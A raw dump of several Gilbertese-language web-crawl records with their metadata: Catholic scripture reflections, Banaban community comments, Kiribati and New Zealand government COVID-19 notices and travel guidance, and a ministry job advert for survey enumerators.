K.\nTiaki te taeka, ao tiaki te taetae, ao akea te bana ae oti,\nma a roko banaia i tabon aonaba, a roko aia taeka n tian aon te aba. K.\nAlleluia, alleluia.\nE kangai te Uea: \"Nakomai, irai, ao N na karaoi ngkami ba tan akawaia aomata.\" Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio. 4: 18-22\nNgke E nakonako Iesu i rairikin namani Kariraia, ao E noriia tari ake uoman, ba Timon are aranaki ba Betero ao Anterea are tarina. A tabe ni kabaka aia karaun, ba tan akawa ngaia. E taku nakoia: \"Nakomai, irai, ao N na karaoingkami ba tan akawaia aoamta.\" Ao a kitan naba aia karaun ao a iria.\nNgke E nako riki teutana, ao E manga noriia tari riki ake uoman, ba Iakobo are natin Tebetaio ao Ioane are tarina. A toka n te boti ma tamaia are Tebetaio, ao a tabe ni bonoti aia karaun. E weteia, ao a kitana naba aia boti ma tamaia, ao a iria.\nTibatiba: Ti karaoiroaki n te kakoaua inanora ao ti kamaiuaki n te kaotioti ae inanon wiira\nTariu ao maneu e roko te kamaiuaki iaon te aonnaba mairoun Iesu are ana Rikitemanna te Atua are kanakoaki nakon aonteaba ba E na uota ao n takaruaea te Rongorongo ae Raoiroi nakoia aoamata ni kabane ba aonga n ongo ao a na kamaiuaki akana a onimakinna ao ni maiuakinna.\nN te moan wareboki man ana reta Bauro nakoia I Roma ao ti tuangaki ba ti na tatakaruaea ba te Uea Iesu ao ngkana ti kakoaua ba E kautaki Iesu iroun te Atua mai buakoia mate ao ti na kamaiuaki. Ma ti na kanga ni kamaiuaki ngkana ti aki wetea aran Iesu ao ti na kanga n ongo te Rongorongo ae Raoiroi ngkana akea ae kanakoaki ba e na takaruaea te Taeka? N tai aikai ao E boni kabonganaira Iesu ba ti na taetaekina te Rongongo ae Raoiroi nakoia aomata nako are nanona ngkanne ba a na riai n iai ibuakora ake a na tauraoi n anga nanoia ba a na riki ao a na kanakoaki iroun Iesu ba tan tataekina te Rongongo ae Raoiroi. Ba ngkana iai aika kanakoaki ba a na taekina te Taeka ao ngkanne ti na kona n ongo ao ti na kamaiuaki ngaira ake ti kakoaua inanora ao ti na manga tauraoi n taekina te Rongorongo ae Raoiroi nakoia tarira ma manera.\nN reitaki ma ara katauraoi imain Kiritimati ao ti riai n rairi nanora ao ni kakoaua ba bon Iesu te Kristo boni Ngaia Uean aonnaba ao Natin te Atua ae roko ba E na kairira nakon te Tama ba ti aonga ni bane ni kamaiuaki. Ti riai ni manga kabuta nakoia aomata kakawakin te katauraoi inanora ba a na riki ba mwengan Iesu te Tei ngkana e bungiaki nakoira n te Kiritimati.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1710-ti-karaoiroaki-n-te-kakoaua-inanora-ao-ti-kamaiuaki-n-te-kaotioti-ae-inanon-wiira","date":"2022-01-18T19:44:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00296.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":734,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko,finally i managed to trace you.I ask your best pal there(Erine) about the whereabout of you and she told me that you are in indonesia.Ko kanganga naba Neiko!E uara ea toki am kakamanga mani kakangare bwa are koa iein........E taku Erine bwa e tuai n toki arom are ngkekei!!!!I Isa e rarabwa naba te web site aio bwa tia manga kona ni kaitibo iai.Ao ngkanne tia bon kateimatoa arora aei nte reireitaki ke kanga!!!!!!!Hoping for all our class mates to join so we all can have fun!!!!!!Bye for now and hope to hear form you then!\nTalofa lava!!! Ko uara ma am family?? ur baby boy is handsome and cute...kiss ur kids for me and make sure to holla back to me coz u havent after long time now...must be busy eh?? anyway, Patty called me yesterday and asked if u can be her agent n ana grog business ikanne. u can email her on this address: email@example.com\nSavali regards to ur family and pliz keep in touch as i will from this side...\nmauri nei savali......\nibubutiko savali ngana ko kona ni karokoa au rongorongo nnakon meko\nbwa ena kawaekoa n tarebon nnakou bwa iai te bwai aeinang kan kaongoa......ko anga nia kain am auti ao kaara au kamauri......ia butiko koa kawaekoa nkarokoa au rongorongo nnakoina taioka......\nMauri Savali I think Ken must have banned this address as maybe he thought she had joined twice. He is out of the office at the moment so not sure what happened there, but I have now rejoined her under that name.\nEnjoy BV!!!\nStacey\nMauri Savali,\nJust stop by to say hello. Kam uara ma kain am auti ni bane. Au kantaninga bwa kam bon bane ni marurung. Nothing much from this end, things as usual - mission work. Koa anga nia kain am auti au ka mauri. Teke raoi te makuri.\nTia boo moa.\nMauri riki ai bon te rongorongo nakon nei meriba bwa iai ana bai Pita ae anganaki faga mai irouia tibuna ae nei Baeang. Te nangan snacks ao te kunikai ao te ball..koa taioka naba ni kaongoa..... te kaibuke ena manga nakon te wiki ae na roko.Ko bati n rabwa. tekeraoi te waaki.\nNeiko Mauri !!\nIai ana bubuti te unaine aei bwa ngkana e kan email meko ao ea email nakon ana email ae firstname.lastname@example.org .... kee !! E tau ai bon te kamauri nakoia kain am auti ao nakoia ngaia tangaia kee...koa karabwaia naba ibukin aia bai ake aroko nte kaibuke....e rangin rarabwa te rereitaki .tiabo moa ao e tekeraoi te waki...\nNeiko e rangin rarabwa bwa atia n reke aia baai aunty Baeng ma..Neiko e kona n reke ara tai n skype mangaia? Ngkana e kona ao tia manga ongora iroum....ko anga naba iai kakarabwabwa nakoia ni kabane!!!!","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=03g71t0tyz2fg&page=2","date":"2022-01-21T23:10:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303717.35\/warc\/CC-MAIN-20220121222643-20220122012643-00718.warc.gz","language":"gil","language_score":0.9930511713,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9930511713027954}","num_words":460,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoia Kaain Tarawa Teinainno ma Betio.\nEa katanoata ikai te Botaki n Mwakuri ibukin Enwaeromenta,Aaba ao Karikirakean te Ununiki nakoia te Botannaomata ake a kakabonganai taabo n kamangang n aron Tobwaan te Rikirake Park, Bwairiki Side Park, Nanikaai Park, KV20 4R Amusement Park, Ambo Steward Park ao Tobwaan te Tongo Park. Ba ni moa man te bong aio ae 19 iai bongin Tianuare 2022 ao a in moa taabo kamangang aikai ibukin kauarerekean te ikoikotaki irouia te Botannaomata. Ao te bubuti nakoia Utu,Kambwana,Kurubu n Aro ao ai koraki ake a teimatoa n maeka ke ni camp n taabo n Kamangang aikai ba a na okiri moa Mwengaia ibukin Kamwawaan moa taabo aikai. Tia bubuti iran nanon Kaetieti aikai ibukin kauarerekean Butinakon te aoraki ae te Covid 19 ibukin Boutokaan Maurira ni kabane. E na manga bon katanoataaki te tai are ana manga uki iai taabo n Kamangang aikai n angaraoina ma taarakin te kanganga iaon te aoraki aio.\nIbukin rongorongona e bwanin ao reitaki ma Aobitin Tararuan te Otabwanin n te Nambwa n Tareboon ae 7522800.\nKam bati n rabwa ao ara Bau ma ngkami te Mauri,Teraoi ao te Tabomoa\nMairoun,\nOIC MELAD","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.environment.gov.ki\/?p=1066","date":"2022-05-23T05:07:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662555558.23\/warc\/CC-MAIN-20220523041156-20220523071156-00477.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":189,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 1 Kanimabong\nWarekan te Reta nakoia Ebera. 4:1-5, 11\nE teimatoa naba i bukira ana motikitaeka te Atua nakoia Iteraera ba a na rin i nanon ana motirawa; ma ngaia ae ke e tai taku temanna i buakomi ba e aki kauia. Ba ti anganaki naba ngaira te Rongorongo ae Raoiroi n ai aroia ngaia. Ma akea uan te taeka are a anganaki, kioina ngke a aki botaki n onimaki ma uake a ongora. Ba ti rin n te motirawa, ngaira tan onimaki, n ai aron te taeka are kangai: \"I taetae n tuea ma te un ni kangai: A na aki rin i nanon au motirawa.\" A boni bane ana makuri te Atua ngke e karikaki aonaba, ba E taekina te kaitibong ni kangai, n te tabo teuana: \"Ao E motirawa te Atua n te kaitibong man ana makuri ni kabane.\" Ao E manga kangai n te tabo teuana: \"A na aki rin i nanon au motirawa.\" Ma ngaia ae ti na keiaki n rin i nanon te motirawa anne, ba e aonga n aki bua temanna ni kakairi n te aki ongotaeka arei.\nTe Taramo 77: 3-4, 6-8\nKaekana: Tai manuokin ana makuri te Uea.\nTe baere ti ongo taekana, Are a kaongoira ara bakatibu,\nAo ti na kawakinna nakon te roro ae na roko. Ba kakanton te Uea ma makana\nAo ana makuri aika kamimi. K.\nA riai naba ngaia ni kangoia natia, Ba a aonga n onimakina naba te Atua,\nn aki manuokin ana makurit e Atua, ma ana kawakin ana tua. K.\nA aonga n aki katotongia aia bakatibu, Ake te roro n aki muti ma n aki ongeaba,\nBa te roro ae nano tiotio, n aki kakaonimaki nakon te Atua. K.\nAlleluia, alleluia.\nNgkana kam ongo banana n te bong aei, Ao tai kamatoai nanomi. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 2: 1 - 12\nE okira Kaberenaum Iesu, ao a ongo aomata ba E mena n te auti. Ao a botaki iai aomata aika maiti n te aro ae akea te tabo ae mawa, ba e riba naba matan te mataroa. Ao Ngaia E reireinia te Taeka. Euotaki nakoina temanna te nakibaina are tabekai irouia oamata ake aman. Ma a aki kona n nakoina i bukin te koraki, ao a kabara taubukin te auti i etan te tabo are E tei iai ni karekea te bangabanga, ao a n na iai te kainiwene ma te nakibaina i aona. Ngke E nora aia onimaki Iesu, ao E taku nakon te nakibaina: \"Natiu, a bara am bure.\"Iai tani korobki tabeman i buakon te koraki, ao a kanga ii nanoia: \"E kanga n taekinna anne? E baka n atua! antai ae kona ni kabarai bure? ao bon tit e Atua!\" E ataia aia iango iesu i nanona, ao E taku nakoia: \"E aera ngkai kam iangoa anne i nanomi? TEra ae bebete riki atongana? 'A bara am bure'ke 'Teirake, tabeka am kaniwene, ao nakonako'? Ma kam na ataia ba iai makan Natin te aomata ni kabarai bure i aon te aba,\"ao E kangai nakon te nakibaina: \"I tuangko, teirake, tabeka am kainiwene, ao nakon am auti.\"Ao e teirake naba n tabeka ana kainiwene, ao e otinako i mataia aomata ni bane. A bane ni mimi, ao a neboa te Atua ni kangai: \"Ti tuai man nora te aro aei!\"\nTibatiba: E tangirira te Atua ba ti na rinnako inanon Ana Motirawa\nTariu ao maneu ao maneu e main maneweaki te taeka ae te 'Rinnako iananon maturawau' ieoun te Atua ngke E kaota unna nakoia te nati n Iteraera ngke a mananga n otinako ma Aukunita b aba kanoan ana berita n akoi te Atua nakoia ni kaekaa tangtangia ngke a tautoraki I Aikubota. E ngae a tia n nora ana makiri ni kamaiua te Atua ao a tia n ataia aron ana irantanga te Atua ao teimatoa n akokan ongotakea nakon te Atua onukina ba a teimatoa ni kan okira Aikubita ba aonga ni manga kana te burawa ao te iriko. Ao ibikin aia aki ongotaeka ao taromaurian taian bouannati ao kaota unna te Atua n tuangia motitaeka ba te koraki ake aki ongotaeka an abon aki kona n rinnako n Ana Motirawa te Atua.\nN te bong ao ti ongora iannon te moan wareboki ana rongorongo te Atua ba bon akea te anga ae ti kona biribaki man ana mitukutaeka te Uea. Te motikitaeka aio bon kaotan te bai ae na riki nakoira ngkana ti ongoateka ke ti aki ongotaeka iorun te Atua. E katerea ikai te Atua ba ngkana ti ongotaeka ao ti kakaraoa Nanon te Atua ao tin a bon rinnako n ana Motirawa te Atua. Are nanona b aba kanwangan ara ongotaeka bon te raona ao te kukurei ma te Atua n aki totoki. E kaotia nab ate Atua ba n aron are jariki inanon onbong ao E motirawa n te Tabati ao E kan kaotia nakoira ba E kan kukurei ma ngira te Atua inanon motiarawana n an tai ni kariki bai are E bon jkaraoi ni kabane ibukira ngaira aomata ake eE a tia ni karikira ni katotongana.\nNgkana to rawa n ongotaeka irou te Atua n te maiu aio ao ti na bon kabua te kakabaia ae a tia ni katauraoia te Atua ibukira.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1728-e-tangirira-te-atua-ba-ti-na-rinnako-inanon-ana-motirawa","date":"2022-05-28T17:45:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663016949.77\/warc\/CC-MAIN-20220528154416-20220528184416-00027.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":866,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Timon ma Ruria Mauri,\nAi bon ti au taeka ni karabwarabwa nakoimi ibukin tikura iroumi ikanne i Betio n rokora ikanne e nako. Au koaua bwa kam bon marurung raoi ma ami koraki n ataei ni bane. Iai bwai aika ikan kaongoko ma koa koroboki nakon au email ae firstname.lastname@example.org ao ia maroro ma ngkoe ke email@example.com\nshh... tia miss te katintin n aong ao te curry ni waru ma etau bwa tao ena manga bon reke riki taina teuana.\nIa ongora iroum ao tia boo moa.\nhey bro,\nKoa bwara buren aki kaitibou ma ngkami n rokomi ae nako i Brisbane. Teingabong are kam roko iai ao akea stacey bwa ea tia n nako Las Vegas ao akea ae kona n tararuia ara tia mwakuri nte factory bwa ti ngai ngaia are ea kanganga rokou ni butimaei ao raroan Gold Coast ma Brisbane 200km ao ai manga teingabong are kam roko iai ma iaki ataia bwa areke iroum Royden ma ke aki.\nE tau bwa ti miss aio ma tia manga nora riki rokomi ngkana manga iai mwanangami.\nNgke tao arona bwa iai Stacey ikai ao e kona n reke anakimi irou ma koa kabwara buren te plan.\nRegards to your family and all our Families on Tarawa and Banaba.\nTia boo moa.\nken.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/banabanvoice.ning.com\/profile\/timonraneri","date":"2022-05-21T21:59:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662541747.38\/warc\/CC-MAIN-20220521205757-20220521235757-00591.warc.gz","language":"gil","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000085830688477}","num_words":215,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tauran te kawai | Traffic lights\nTauran te kawai (Ana Bouanikaua te Covid-19) e katana Aotearoa Nutiran man te Covid-19, n angania riki aomata ake iai a vaccine pass te inaomata.\nKatauraoi & kamanoko | Prepare and stay safe\nKamanoko ao tabeman riki man te COVID-19 ni iri ana taeka ni ibuobuoki te tabo ni kuakua.\nIti n totoko | Vaccines\nKarekea am iti n totoko ae e aki kaboaki ngkai ao kauki bwai nako ake mamaten nanom ma am Vaccine Pass.\nTutuo ao tauan muin butin te aoraki | Testing and tracing\nKaroan te tutuo ao kawakinan muin tabo ake ko nako iai ngaia 2 bwai aia a kakawaki ibukin tararuan te COVID-19 i Aotearoa Nutiran.\nKawakinam ao te tiku n onoti | Care and isolation\nIai te buoka ao taeka ni ibuobuoki ake a tauraoi ngkana e reke iroum manin te COVID-19 ao ko kainnanoa te tiku ni kaonotiko.\nMwamwananga | Travel\nTao ko na kainnanoa am beba ni kakoaua ibukin itinakim n te iti n totoko ibukin te mwamwananga inanoa iaon Nutiran ke ngkana ko roko mai i tinaniku, karekean am tutuo i\nmwain te mwananga ke i mwain rinim n te tabo ni kaonoti.\nLast updated: at","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/","date":"2022-05-19T11:49:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662527626.15\/warc\/CC-MAIN-20220519105247-20220519135247-00215.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":193,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karekean am iti n totoko ibukin te COVID-19 | Getting your COVID-19 vaccine\nKakaea rongorongon taian iti ni kamanomano man te COVID-19 i Nutiran ao kona kanga ni karekea itim\nKakoauan itinakim | Proving you are vaccinated\nKakaea rongorongona bwa kona kanga ni karekea kakoauan ae ko a tia ni itinaki are e na kabonganaki i Nutiran ao ngkana ko mwamwananga nakon aban tinaniku\nBeba ni katanoata ao bwai ni ibuobuoki a tauraoi n oin am taetae\nTi katauraoi bwaai aika mwaiti ni buoka am bitineti, tabo ni mwakuri, communities ao botaki nako, karekean te COVID-19 Protection Framework settings.\nKo kona n download ao n print ara logo, templates, posters, videos ao social medial tiles man ara Resource Toolkit","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/vaccines\/","date":"2022-07-01T19:18:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103945490.54\/warc\/CC-MAIN-20220701185955-20220701215955-00570.warc.gz","language":"gil","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000005841255188}","num_words":117,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kukurei ni katanoata MWYSSA bwa iai tangiraia aomata aika ana riki bwa taan taan kakae (enumerators) ibukin karaoan te kakae iaon te program ae e kinaki n arana ae Strengthening Peaceful Villages (SPV) ke \"Boutakan te rau nte kaawa\". A tangiraki mane ao aine aika e moa man 21 te ririki ni waerake bwa ana karaoa te kakae aio.\nAio te makuri ae full time ao ena moa man 20th Tuun n te maan ae 3 nakon 4 te wiik iaon South Tarawa.\nTaan kakae(enumerators) ana riai ni kona n wareware ao ni koroboki ni Kiribati, ao ana kona ni kabongai bwaai ni makuri ao ena tamaroa rabakauia iaon te reitaki ma te botanaomata.\nAke a nano nte makuri aio kam a taiaoka ni kanakoi ami reta ni bubuti nakon Te Tia Koroboki n te MWYSSA n raonaki ma ami CV ao reference, email nakon firstname.lastname@example.org ao email@example.com ke ni bon nikiria n te MWYSSA ni mwangana are te Women Development Division Ana toki butimwaean reta ni bubuti n 17 June 2022 n tokin te aoa ni makuri. Ibukin kamatata ao titiraki riki tabeua reitaki nakon te MWYSSA aobiti ke n te tarebon are 75021015\/75021016\/75022120.\nKam Rabwa","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/mwysa.gov.ki\/node\/33","date":"2022-07-02T23:03:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104205534.63\/warc\/CC-MAIN-20220702222819-20220703012819-00382.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":192,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tiku n onoti n te mwenga | Isolating at home\nNgkana e reke te COVID-19 n am tutuo ko na riai n tiku ni kaonotiko. Ngkana ko maeka ma te aomata are e reke irouna te COVID-19 ngkoe te irekereke n te mwenga ao ko riai n tiku ni kaonotiko ni mwengam.\nLast updated: at","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/care-and-isolation\/","date":"2022-07-01T20:00:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103945490.54\/warc\/CC-MAIN-20220701185955-20220701215955-00092.warc.gz","language":"gil","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000063180923462}","num_words":55,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ibukin taekan te mwamwananga nako Nutiran\nNgkana kona mwananga nako Nutiran, ao ko kainanoa ae kona rinanon bwaai aika a kainanoaki bwa kona kakoroi nanoia aika a bati.\nTaian mwaneka aika a oti inano aikai a kabwarabwara bwa tera am bwai ni kakoaua ae ko kainanoia ngkana ko nang rinnakoa Nutiran.\nE na kona ni iai te bitaki n te tai ae tawe - Te Immigration New Zealand e na katauraoa te rongorongo ae e boou.\n1. Tuoia bwa ko kona ni kawara Nutiran\nKaain Nutiran ao taan mwamwananga ake a kona n rinnako i Nutiran ao ni kona ni karaoa aia tutuo i bon irouia n rokoia. N tuoia bwa ko katauaki, kawara ana website te Immigration Nutiran.\nAngiia taan mwamwananga nako Nutiran ana riai ni bane itiia ni itin te COVID-19, ma e ngae n anne ao iai tabeua bwaai aika a kariaiakaki.\nImwain te mwananga, kakoaua bwa am bwatiboti e tuai bane taina. Kona kainanoa naba ae kona karekea am New Zealand Electronic Travel Authority (NZeTA).\n2. Kabaea aram ibukin te mwananga\nKabaea aram ibukin te mwananga nako Nutiran.\nTuoa ana kainibaire te wanikiba are kona toka iai ni irekereke ma taekan te itinaki, kamaunan aram ao kaokan am mwane ngkana arona bwa ko tangiria ni bita am iango.\nKo riai naba ni bairea kaboan te kabomwi ibukin te mwamwananga ngkana arona bwa am baaronga ibukin mwanangam e na rootaki. Ko riai naba n taraa te itera are kabaean am ruu ibukin kaokoroam bon iroum, ngkana e na kainanoaki anne.\n3. Waaki iaon kanoan te beeba ibukia taan mwamwananga\nNi kabane taan mwamwananga a riai ni kanoa te New Zealand Traveller Declaration imwain mwanangam nako Nutiran. N tian kanoakina, ao are kona anganaki te Traveller Pass.\nKanoa am beeba anne n te tai ae waekoa. Ko kona ni waaki ni kanoaia 28 te bong imwain mwanangam.\n4. Karaoa am tutuo imwain mwanangam\nAngiia taan mwananga nako Nutiran ana riai ni iai irouia mwiin aia tutuo ae e kaotia bwa akea manin te aoraki ae te COVID-19 irouia imwain mwanangaia.\nKakoaua raoi bwa beeban am tutuo imwain mwanangam a roko raoi n are a kantaningaki i Nutiran. Ko kona ni karuoa man te intanete ao ni print katotona ae inano ni kakoaua raoi bwa taan mwakuri n te kuakua ake a karaoa am tutuo anga te rongorongo ake a kainanoaki.\nIai tabeua bukina ake ko kona n aki kainanoa ae kona tutuo imwain mwanangam. Ko kona ni kunea te karinan ibukin bukina ake a riai bwa kona aki karaoa te tutuo imwain mwanangam ae inano aio. Ko kona ni kainanoaki bwa kona kaota kakoauan ae ko riai n aki tutuo.\n5. Kabwanina ni kanoa te beeba ibukia taan mwamwananga\nNi kabwanina kanoan te beeba ni mwamwananga, ko kainanoa ni katauraoa:\n- rongorongon am bwatiboti\n- rongorongon mwanangam\n- kakoauan ae ko a tia ni itinaki (ngkana e kainanoaki)\n- rongorongon mwamwanangam inanon 14 te bong n nako\n- aia tabo naake kona mena irouia i Nutiran\n- kona kanga n reke n te tai ae tawe\n- kakoauan te tutuo imwain te mwananga – ti ngkana e aki kainanoaki\nManga tuoa kaua riki taian rongorongo ake ko karini n te beeba ibukia taan mwamwananga ni kakoaua bwa a eti ma am beeba ake a kinaaki iaan te tua.\nKo kainanoaki bwa kona kaota am Traveller Pass ngkana ko a katine n te marae, ao nakoia Katitam iaon Nutiran. E kona ni print ke ni kawakinaki n te tareboon. Ko riai n teimatoa ni uouoti beeba aika a kakawaki ake ko a tia ni katokai nakon te New Zealand Traveller Declaration.\n6. N te marae\nAre kona titirakinaki iroun te tia mwakuri n te marae ngkana e a tia n reke iroum ana kanikina te COVID-19.\nNgkana e kainanoaki, ao kona kainanoa am:\n- bwatiboti\n- visa\n- am tiketi ibukin mwanangam\n- Beeba Ibukiia Traveller Pass ae e a tabwanin kanoakina\n- kakoauan ae ko a tia ni itinaki\n- mwiin am iti imwain mwanangam ae e nakoraoi.\n7. Ngkana ko a roko i Nutiran\nTe Katitam are e na kakoaua rongorongon mwiin mwamwanangam, mwiin am tutuo imwain mwanangam ae e nakoraoi, e a bwaka ia itim, Beeba Ibukia Traveller Pass, ao bwaai riki tabeua ake ana kainanoaki. Kantaninga te mwarara teutana te tai ngkana ko na tiku teutana te tai n te marae imwain manga mwanangam.\nN te Biosecurity, ao are kona anganaki ma beeba ibukin am rongorongo. Kanoan te beeba ni butimwai anne bon taekan te:\n- te tutuo ae te rapid antigen (RATs) ae tawe\n- te kaetieti ibukin tuoan ao katokaan mwiin am tutuo.\nKatabwanina am tutuo ao katokai n aron are e taekinaki n te kaetieti.\nLast updated: at","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/travelling-to-new-zealand\/","date":"2022-07-02T09:14:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103989282.58\/warc\/CC-MAIN-20220702071223-20220702101223-00718.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":760,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ANA KAONGORA NI KAMATAATA RIKI TE TAUTAEKA IAON TE COVID-19.\nNakoimi kaain Kiribati ni kabane mai Makin nako Arorae n ikotaki ma Banaba, Kiritimati, te aono n Raina ma Rawaki, ao ai n taabo nako ike kam mena iai.\nN arana ae moan te Tabu ao Kam na bane n Mauri!\nAu kaongora n te tai aio bon reitan ana kaongora ami Tautaeka are e a bon tia ni katanoataaki iaon babaire ibukin te kainiin are e waaki ngkai ao n reitaki ma rongorongo riki aika a boou ni kaineti ma butin te aoraki ae te COVID-19 ao rongorongo riki tabeua aika a kakawaki ibukin maurin te botannaomata.\nN aron ae e kakoauaaki ao e waaki man te Kaonobong ae 22 bongin Tianuare 2022 kamatoaan kabonganaan te Kateniua ni kauring mai ieta ibukin te COVID-19 ike e moa te kainiin ke te lockdown man te aoa 3 n te bwakantaai.\nNi kaineti ma aei ao I a bon tia n tiainaa n te Kaonobong 22 n Tianuare 2022 te \"Proclamation of a State of Disaster\" ke \"katanoatakin te kabuanibwai\" ibukin Kiribati ae e bwanin bwa e aonga ami Tautaeka ni kona ni waakini ma ni kabonganai mwaaka riki tabeua ibukin karorakoran ana mwakuri ibukin maurin te botannaomata man te COVID-19.\nE boboto karaoan aio ngkai e noora riaina Te Tautaeka bwa e a tabe n kekerake ngkai butinakon te aoraki iaon Tarawa Teinainano, Betio ma Buota ao e kakawaki bwa e riai n katokaki te mwainging iroun te botannaomata n te aro bwa ena kona n teimatoa te Botaki ibukin Te Mauri ao Katoki Aoraki n reitanako aia mwakuri n ibuobuoki ibukin kauarerekean butinakon te aoraki aio.\nIbukin ongoraan te botannaomata ao e a tia ni kamatoaaki man te Botaki ibukin te Mauri ao Katoki Aoraki bwa ai uangaun ma teniman (23) ngkai mwaitiia aika a tia ni manga kamatoaaki bwa iai manin te COVID-19 irouia itinanikun taabo ni katantan. Are nanona bwa n te tai aio ao e a keerake riki ngkai mwaitiia aika a COVID-19 nakon te mwaiti ae ai 59 bwa 36 ake bwatintia ao 23 ake a kaawakinaki ngkai n taabo ni katantan.\nNgkana arona bwa iai namakinan te aoraki iroum ao waekoa tarebooniia 555 are a na nambwa te Botaki ibukin te Mauri ao Katoki Aoraki ae onoti ibukin te Aoraki aio ae e aki kabooaki ke kawara te Onaoraki are i Nawerewere rinanon te SOP are rabuna ubum ao taua raroam ma aomata. Moantaain rokom bon moantaain naba kauarerekean butinakon te aoraki aio.\nE kakawaki bwa e na mataata te botannaomata bwa te curfew ke te kainin aio are e baaireaki bon tii ibukin Tarawa Teinainano, Betio ao Buota ma a kaungaki Mayors iaon abamakoro bwa ana kabongana te tai aio ni karaoi nanon kainibaire aikai ke SOPs ibukin maurimi ma ami botanaomata ao a kantaningaki Bureitiman iaon abamakoro bwa kam a iraorao ni mwakuri ma ami Mayors. Ibukin Kiritimati e bon tiku baireana iroun 